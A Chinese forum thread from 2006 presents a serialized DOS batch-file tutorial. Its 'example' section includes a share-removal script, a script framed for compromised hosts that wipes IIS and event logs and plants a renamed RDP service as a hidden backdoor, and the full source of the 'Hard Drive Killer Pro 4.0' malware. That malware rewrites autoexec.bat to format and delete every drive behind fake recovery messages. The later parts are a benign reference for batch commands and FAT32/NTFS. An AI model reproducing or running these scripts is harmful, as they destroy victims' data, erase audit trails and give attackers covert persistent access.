ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
楼主: andysky

[分享]想学习DOS的请进来-----DOS连载

[复制链接]

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-19 18:10 | 显示全部楼层

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Termina l Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Termina l Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
No.7

TA的精华主题

TA的得分主题

发表于 2006-12-19 22:45 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2006-12-22 15:58 | 显示全部楼层

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:29 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

 批处理文件命令
一、什么叫做批处理文件?
批处理文件(文件名为*.BAT)就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。
一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如EDIT,WORDSTAR,PE2……等程序皆可。
二、什么是自动批处理?
自动批处理文件(AUTOEXEC.BAT),是批处理文件的一种,处于引导盘(一般为C盘或A盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它,如果找到了就自动执行它。
三、批处理文件中可以使用哪些命令?
只要能够在DOS的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下:
1.DOS的内部命令
2.DOS的外部命令
3.COM的命令文件
4.EXE的可执行文件
5.批文件命令:CALL,ECHO,FOR,GOTO,IF,PAUSE,REM,SHIFT
6.其他的批文件
四、批处理文件命令
     BATCH DOS 命令
1.功能: 批处理命令是存储在一个特殊的批处理文件(Batch File)中的DOS命令。当执行一个批处理文件时,DOS将依次执行文件内所存储的各项DOS命令。
2.格式:[d:][path][filename.bat][parameters]
3.说明: ①、批处理文件的扩展名应为.BAT。
②、当执行批处理文件时,您可将参数(parameters)传给一名称为file-name.bat的文件,给予不同的参数,将可以执行类似的工作。
③、如果要停止批处理文件的动作,只要按下ctrl+break二键,即可停止正在执行的命令,并且出现下述信息:
terminate batch job?(Y/N)
如果按下Y键就可以终止批处理文件的执行工作。如果按N键,那系统将会继续执行其它的批处理文件中的命令。
4.范例: ①、如果在test.bat文件内包括一些替换参数,将使得在执行时,可以使用您所提供的值来替换它。例如:
copy %1.mac %2.mac
type %2.prn
type %0.bat
%0,%1,%2这三个可以被代换的参数,于执行时将使用批处理文件时的三个参数顺序依次来代换之。
%0参数永远使用批处理文件的文件名来取代。
在一个批处理文件内最多可以使用10个替换参数(%0到%9)
②、当您要执行test.bat的批处理文件时,系统将依照%1,%2等顺序给予适当的参数。例如:
A:\>test a:prog1 b:prog2
于是系统将以test代表%0,以a:\prog1代表%1,以b:\prog2代表%2因此在执行此命令时,就相当于直接在键盘上依次输入下述DOS命令一样:
copy a:\prog1.mac b:\prog2.mac
type b:\prog2.prn
typt test.bat
③、批处理文件亦可使用DOS的环境变量。环境变量于使用时前后都要加上一个%符号。例如要取用DOS PATH的值,您必需输入%PATH%。下例是先假设将变量destination定义为一台磁盘驱动器代码:
SET destination=C:于是执行以下所述命令
ECHO dot here>%destination%FILE1 (必须在批处理文件中执行)
执行之后,C磁盘的file1文件内将会存在dot here字符串。

    CALL 批处理文件命令
1.功能: 您可以在批处理文件里面调用令一个批处理文件,执行完毕后在继续执行原来的这个批处理文件内的剩余命令。
2.格式:CALL[d:][path][filename.bat][argument]
3.说明: ①、[argument]参数:指定经由批处理文件所要求的任何命令行信息;它可包含开关选择项、文件指定、变量%1至%9以及其它像%baud%这样的变量。
②、CALL命令可以在批处理文件的任何位置,只要执行时不要超过内存容量即可。
③、批处理文件也可以调用自己本身,但必须确定最后仍可以结束才好。
④、CALL命令不可以与重定向输入字符(如:<)以及数据管道字符(如:|)合用。
4.范例: ①、现有main.bat批处理文件内容如下所述:
REM I am ist batch file
REM go to 2nd batch file
CALL a2
REM now come back!
REM END
②、其中A2.bat批处理文件内容如下所述:
REM I am 2nd batch file
REM I will back to main batch file
③、执行时
A:\>main (执行main.bat)
A:\>REM I am ist batch file (main.bat前两行)
A:\>REM go 2nd batch file
A:\>CALL A2 (由main.bat中调用a2.bat)
A:\>REM I am 2nd batch file (执行a2.bat文件的内容)
A:\>REM I will back to main batch file
A:\>REM now come back! (a2.bat结束后返回main.bat
A:\>REM END 继续执行其余命令)

    CHOICE选择键组命令 批处理文件命令
1.功能: 此命令将显示指定的提示并暂停让用户在指定的键组中做选择,然后返回一个ERRORLEVEL参数给批处理程序。您只能在批处理程序中使用本命令。
2.格式:[d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn][test]
3.说明: ①、/C[:]keys参数:在提示中指定允许可用的键。当显示时,keys将以逗黠分开并放置于括弧中,而且其后将会加上问号。如果您并无指定/C参数,则CHOICE将会使用YN来当做默认值。冒号(:)是可有可无的。
②、/N参数:使CHOICE不显示提示,但是提示前的文字仍会显示。如果您指定此参数,则指定键仍然有效。
③、/S参数:将导致CHOICE会区分大小写。如果此参数未被指定,则CHOICE将接受用户指定的任意键值的大写或小写。
④、/T[:]C'nn参数:在默认指定键之前,使CHOICE在指定的秒数中暂停。/T参数可用的值如下所示:
c---nn秒后,指定的字符将为默认的。字符必须是/c参数中所指定的选择组。
nn--指定暂停的秒数。可接受0到99之间。如果指定0,则在默认之前将不会有暂停。
⑤、[test]参数:您想在提示符前显示的字符。假如您包含斜线(\)做为提示前字符的一部分时,则必须加引号。如果您并无提示字符,则CHOICE将仅显示提示符。您所分派的第一个键将为1,第二个键将为2……余此类推。如果用户按下了一个未分派到的键,则CHOICE将发出一警告声响。如果CHOICE检测到一个错误的情况,那么它将返回一ERRORLEVEL值为255的值;如果使用者按下了Crtl+Break二键或Ctrl+c二键,则CHOICE将返回一ERRORLEVEL值为0的值。
4、范例: 这个CHIOCE命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后,执行某一段在批处理文件中的命令。例如:下面是包含CHOICE命令的TEST.BAT文件内容:

@echo off
cls

echo. ┐
echo 1.defragment │
echo 2.MSD ├─显示这些字符
echo 3.Anti-Virus │
echo. ┘

choice/c:123/t:1,10 将出现要您选择1或者2或者3的提示字符,如果等10秒后,用户尚未键入1或2或3中任一字符,则自动键入1。
if errorlevel 1 goto defragmant 当用户在上述键入1时,将寻找:defragment段来执行defrag程序。
if errorlevel 2 goto msd 当用户在上述键入2时,将寻找:msd段来执行msd程序。
if errorlevel 3 goto av 当用户到上述键入3时,将寻找:av段来执行msav程序。

:defragment ┐
defrag ├:defragment段
goto end ┘

:msd ┐
msd ├:msd段
goto end ┘

:av ┐
msav ├:av段
goto end ┘

:end 结束

    ECHO 批处理文件命令
1.功能: 允许批处理文件执行时显示或不显示命令本身,但对于命令的执行则无影响。
2.格式:ECHO [on|off]
ECHO [message]
3.说明: ①、ECHO命令在启动或系统重置时,均默认为on,而可将每一批处理命令在执行同时,显示在输出设备(屏幕)上。
②、当ECHO命令设定为off时在批处理命令执行时,将不显示该命令内容,但不影响执行结果。
③、如果您指定了ECHO message,则不论是ECHO on 或ECHO off,message信息皆会显示在标准输出设备(屏幕)上。
④、如果ECHO后面未加任何字符,如on、off或message,则只会显示出ECHO当前是在on或off的状态。
4.范例:
REM 范例:①
ECHO off
ECHO piping symbol"\"ECHO redirect symbol">/"

   “/”及“>”在DOS命令里有其特殊的意义,如果要让DOS不处理时,则需使用双引号括起来。
REM 范例: ②
@ECHO off
@REM THIS LINE WILL NOT DISPLAY
REN THIS LINE WILL BE DISPLAYED
@file1
上例中,命今前有@符号,其命令行本身将不会被显示出来,其余的命令行都将被显示出来。
REM 范例:③
@ECHO off
DIR *.TXT
执行的结果如下:
Volume in drive A is ABC
Directory of A:TEST1 TXT 13 06-26-90 4:03P
TEST2 TXT 13 06-26-90 4:03P
TEST3 TXT 13 06-26-90 4:04P
3 File(s) 310272 bytes free
连ECHO off 命令本身亦不显示。

    FOR 内部命令、批处理文件命令
1.功能: 可以让我们反覆地执行DOS的命令。
2.格式: 在批处理文件中:
FOR [%%c] in(set) DO [command][arguments]
在MS-DOS命令行中:
FOR [%c] in(set) DO [command][arguments]
3.说明: ①、[%%c]或[%c]参数:将顺序地得到(set)这个集合中的各个元素来作为它的值,当得到一个值之后,就执行COMMAND此一DOS命令。
②、(set)中可包含*、?、/等通配符,那么[%%c]参数就会被设置成磁盘中能够匹配引指定的第一个文件名称,同时亦可使用路径。
③、[command]参数:指定您希望执行在每一包含在(set)中文件命令。
④、[arguments]参数为:[command]参数指定选择项。
4.范例: ①、如果一批处理文件中含有下述命令:
FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F
则执行时,将有下述的结果:
DEL TEST1.DBF
DEL TEST2.DBF
DEL TEST3.DBF
②、如果批处理文件中含有下述的命令:(在TEST.BAT内)
FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F
则在执行时执行下列命令,将有与前项相同的结果:
A>TEST TEST1.DBF TEST2.DBF TEST3.DBF
③、如果欲在DOS下直接执行此命令,则%%c只要改为%c的形式即可。

    GOTO 内部命令、批处理文件命令
1.功能: 将DOS控制权转移到某标号(LABEL)中,继续往后面执行。在批处理文件中的一个标号是以一个冒号(:)开头,其后跟着一个标号名称(LANEL NAME)所组成。
2.格式:GOTO label
3.说明: ①、GOTO label会造成接着执行标号label那一行的命令。
②、如果label未被定义,则当前这一个批处理文件的动作就会停止,并显示label notfound 信息。
③、批处理文件中的标号名称是由前面8个字来定义的。
④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。
4.范例: TEST.BAT 文件,内容如下:
@ECHO OFF
GOTO SECOND
:FIRST
REM I AM FIRST
:SECOND
REM I AM SECOND

执行结果如下:
REM I AM SECOND

    IF 内部命令、批处理文件命令
1.功能: 使DOS可以有条件地执行命令。
2.格式:IF[not] errorlevel number command
IF[not] [string1]==[string2] command
IF[not] exist filename.ext command
3.说明: ①、[not]参数:是一个可选择使用的条目,使用时会将其后面条件的结果再求一个相反的结果。
②、errorlevel number:errorlevel 是DOS产生出来的一个退出码。如果退出码大于或等于number(指定一个十进制值),则此条件成立,系统即可执行后面指定的command。
注意:测试退出码时要由大到小来测试,因为退出码只要测到大于或等于指定的值时,该条件即成立。
③、[string1]==[string2]:string1及string2皆为字符的数据,英文字母的大小写将视为不同。当[string1]及[string2]内容完全相同时,则此条件成立,并执行后面指定的command。此条件中的等号(=)必须要有两个。
④、exist filename.ext:如果指定的文件存在时,则所得的结果为“真”,否则为“假”。若为真,则系统即执行后面指定的command。
⑤、IF命令为一个分支命令。condition是一个条件,command是根据条件成立时才去执行的命令。若不成立时则往下继续执行次一个批处理文件命令。
⑥、IF errorlevel 主要是用于配合自己的程序,并于执行完毕后设置一个错误代码(errorcode),以便与IF errorlevel命令一起使用。
4.范例:REM 范例: ①
@ECHO OFF MYPROG1
IF ERRORLEVEL 2 GOTO 2
IF ERRORLEVEL 1 GOTO 1
GOTO EXTI
:L1
ECHO DATA ERROR
GOTO EXIT
:L2
ECHO PROGRAM CANCEL
:EXIT
上例中MYPROG1为一程序,在执行时如果发生退出码时,则表示该程序未执行成功。

REM 范例:②
@ECHO OFF
IF "%1"=="" GOTO EXIT
IF %1==1 GOTO L1
IF %1==2 GOTO L2
GOTO EXIT
:L1
ECHO I AM L1
GOTO EXIT
:L2
ECHO I AM L2
:EXIT
本例中,""(空字符串)、1、2是指定要与%1参数比较诉字符串。
REM 范例:③
@ECHO OFF
IF NOT EXIST PE2.EXE GOTO EXIT
PE2
GOTO END
:EXIT
ECHO PE2.EXE NOT FOUND!
:END
本例中,先检查PE2.EXE文件是否存在,不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。

    PAUSE 内部命令、批处理文件命令
1.功能: 暂时停止系统命令的执行并显示下列信息:
strike a eky when ready......
2.格式:PAUSE
3.说明: ①、PAUSE命令可以在DOS执行一个命令时暂停,使您有机会来更换盘片。按下任何一个键后,即可让DOS继续执行下一个命令。
②、执行PAUSE命令时,系统会暂停;如果您要终止执行此批处理文件,则您可按下Ctrl+Break二键,接头按下Y,即可终止执行,但如果于此时按下N,则系统将继续执行其它命令。
4.范例: PAUSE1.BAT 文件,内容如下:
@ECHO OFF
@ECHO I am first
PAUSE
@ECHO ON
@ECHO I am second
@ECHO Please put a new diskette into drive A
PAUSE
则其执行结果如下所示:
A:\>PAUSE1
I am first
strike any key when ready...
I am second
Please put a new diskette into drive A
strike any key when ready...

    REM 批处理文件命令、配置文件命令
1.功能:可以在配置文件(CONFIG.SYS)或批处理文件(.BAT)中加上注解说明。
2.格式:REM [comment]
3.说明:①、[comment]参数:表示注解行,不会被当作命令执行。
②、您可在配置文件或批处理文件中将命令的功能注解加注在其中,以供日后引用。
③、CONFIG.SYS文件中的REM与在批处理文件中REM,皆可为注解的命令行。但是在批处理文件中,REM会被显示出来,而在CONFIG.SYS的REM命令行在起动DOS时并不会被显示出来。
4.范例:REM this is a sample CONFIG.SYS FOR DBASE 3
FILES=25
BUFFERS=20

    SHIFT 内部命令、批处理文件命令
1.功能: 使得DOS命令行上可以使用超过10个(%0到%9)以上的可替代参数。
2.格式SHIFT
3.说明 1.可替代参数的编号是%0--%9,如果要在一个命令行使用超过10个可以被代换的参数,则您可使用SHIFT命令来突破此限制。
2.每当执行SHIFT一次,所有命令行上的所有参数将向左移动一位。 %1的内容将为%2的内容所取代...,%9内容则由新的参数递补。
3.%0表示批处理文件本身的名称,永远不变,所以每次执行时您可以加上 9个参数在批处理文件名后。若要增加一个参数,则您将需要使用这个SHIFT命令来移位,才可取得第十个参数。
4.范例 1.SHIFT.BAT文件,内容如下:
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
2.执行结果如下:
A:\>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11(先后跟随11个参数)
1 2 3 4 5 6 7 8 9 (取最前面9个参数)
A:\>SHIFT (移位)
2 3 4 5 6 7 8 9 10 (取另外9个参数)
A:\>SHIFT (移动)
3 4 5 6 7 8 9 10 11 (取另外9个参数)
 
 

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:29 | 显示全部楼层
FAT32文件系统

   在推出FAT32文件系统之前,通常PC机使用的文件系统是FAT16。像基于MS-DOS,Win 95等系统都采用了FAT16文件系统。在Win 9X下,FAT16支持的分区最大为2GB。我们知道计算机将信息保存在硬盘上称为“簇”的区域内。使用的簇越小,保存信息的效率就越高。在FAT16的情况下,分区越大簇就相应的要增大,存储效率就越低,势必造成存储空间的浪费。并且随着计算机硬件和应用的不断提高,FAT16文件系统已不能很好地适应系统的要求。在这种情况下,推出了增强的文件系统FAT32。同FAT16相比,FAT32主要具有以下特点:

   1. 同FAT16相比FAT32最大的优点是可以支持的磁盘大小达到2TB(2047GB),但是不能支持小于512MB的分区。基于FAT32的Win 2000可以支持分区最大为32GB;而基于 FAT16的Win 2000支持的分区最大为4GB。

   2. 由于采用了更小的簇,FAT32文件系统可以更有效率地保存信息。如两个分区大小都为2GB,一个分区采用了FAT16文件系统,另一个分区采用了FAT32文件系统。采用FAT16的分区的簇大小为32KB,而FAT32分区的簇只有4KB的大小。这样FAT32就比FAT16的存储效率要高很多,通常情况下可以提高15%。

   3. FAT32文件系统可以重新定位根目录和使用FAT的备份副本。另外FAT32分区的启动记录被包含在一个含有关键数据的结构中,减少了计算机系统崩溃的可能性。

   NTFS文件系统

   NTFS文件系统是一个基于安全性的文件系统,是Windows NT所采用的独特的文件系统结构,它是建立在保护文件和目录数据基础上,同时照顾节省存储资源、减少磁盘占用量的一种先进的文件系统。使用非常广泛的Windows NT 4.0采用的就是NTFS 4.0文件系统,相信它所带来的强大的系统安全性一定给广大用户留下了深刻的印象。Win 2000采用了更新版本的NTFS文件系统——NTFS 5.0,它的推出使得用户不但可以像Win 9X那样方便快捷地操作和管理计算机,同时也可享受到NTFS所带来的系统安全性。

NTFS 5.0的特点主要体现在以下几个方面:

   1. NTFS可以支持的分区(如果采用动态磁盘则称为卷)大小可以达到2TB。而Win 2000中的FAT32支持分区的大小最大为32GB。

   2. NTFS是一个可恢复的文件系统。在NTFS分区上用户很少需要运行磁盘修复程序。NTFS通过使用标准的事物处理日志和恢复技术来保证分区的一致性。发生系统失败事件时,NTFS使用日志文件和检查点信息自动恢复文件系统的一致性。

